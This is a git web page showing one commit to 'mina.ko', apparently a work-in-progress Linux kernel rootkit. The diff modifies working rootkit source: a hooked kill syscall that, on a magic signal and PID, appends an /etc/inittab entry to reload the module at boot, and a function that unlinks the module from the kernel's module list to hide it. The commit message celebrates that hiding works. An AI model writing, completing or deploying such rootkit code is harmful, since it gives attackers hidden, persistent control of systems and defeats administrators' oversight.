mina.ko.git


mina.ko

~ (wip)LKM rootkit for 6.1+ kernels
git clone https://github.com/djnnvx/mina.ko.git
log | files | refs | archive | README | LICENSE

commit 888d33efa89b62319e3e107d216677a077881d58
parent d1fd18baf27a8b1dfc0013c3bd7cc2d19dd9191a
Author: djnn <[email protected]>
Date: Wed, 1 Jan 2025 23:12:34 +0900

fix(hide): this shit is WORKING !! fuck yea

Diffstat:
Mrootkit/mina.c | 35+++++++++++++++++++++++++----------

1 file changed, 25 insertions(+), 10 deletions(-)

diff --git a/rootkit/mina.c b/rootkit/mina.c
@@ -26,7 +26,6 @@ asmlinkage long hooked_kill_syscall(struct pt_regs *regs) {
     int signal = regs->si;
     int pid = regs->di;
 
-    printk(KERN_INFO "[mina] hooked kill: %d (pid: %d)\n", signal, pid);
     if (signal == PERSISTENCE_CODE && pid == MAGIC_PID) {
         const char *str = "::sysinit:/sbin/insmod /root/mina.ko\n";
         return add_inittab_entry(str);
@@ -50,13 +49,21 @@ void toggle_hide_module(void) {
     static struct list_head *prev_module = NULL;
 
     if (current_module_is_hidden == 1) {
-        list_add(&THIS_MODULE->list, prev_module);
-        printk(KERN_INFO "[mina] welcome back!\n");
+        if (prev_module) {
+            list_add(&THIS_MODULE->list, prev_module);
+            printk(KERN_INFO "[mina] welcome back!\n");
+        } else {
+            printk(KERN_ERR "[mina] prev_module is NULL\n");
+        }
         current_module_is_hidden = 0;
     } else {
-        prev_module = THIS_MODULE->list.prev;
-        list_del(&THIS_MODULE->list);
-        current_module_is_hidden = 1;
+        if (&THIS_MODULE->list) {
+            prev_module = THIS_MODULE->list.prev;
+            list_del(&THIS_MODULE->list);
+            current_module_is_hidden = 1;
+        } else {
+            printk(KERN_ERR "[mina] THIS_MODULE->list is NULL\n");
+        }
     }
 }
 
@@ -67,17 +74,25 @@ int add_inittab_entry(char const *entry) {
 
     file = filp_open("/etc/inittab", O_WRONLY | O_APPEND, 0);
     if (IS_ERR(file)) {
-        ret = PTR_ERR(file);
+        printk(KERN_ERR "[mina] Error opening /etc/inittab: %ld\n", PTR_ERR(file));
+        return PTR_ERR(file);
+    }
+
+    if (!file || !entry) {
+        printk(KERN_ERR "[mina] Invalid file or entry\n");
+        ret = -EINVAL;
+        goto out;
     }
 
     ret = kernel_write(file, entry, strlen(entry), &pos);
     if (ret < 0) {
-        filp_close(file, NULL);
-        return ret;
+        printk(KERN_ERR "[mina] Error writing to /etc/inittab: %d\n", ret);
+        goto out;
     }
 
+out:
     filp_close(file, NULL);
-    return 0;
+    return ret;
 }
 
 static int __init module_start(void) {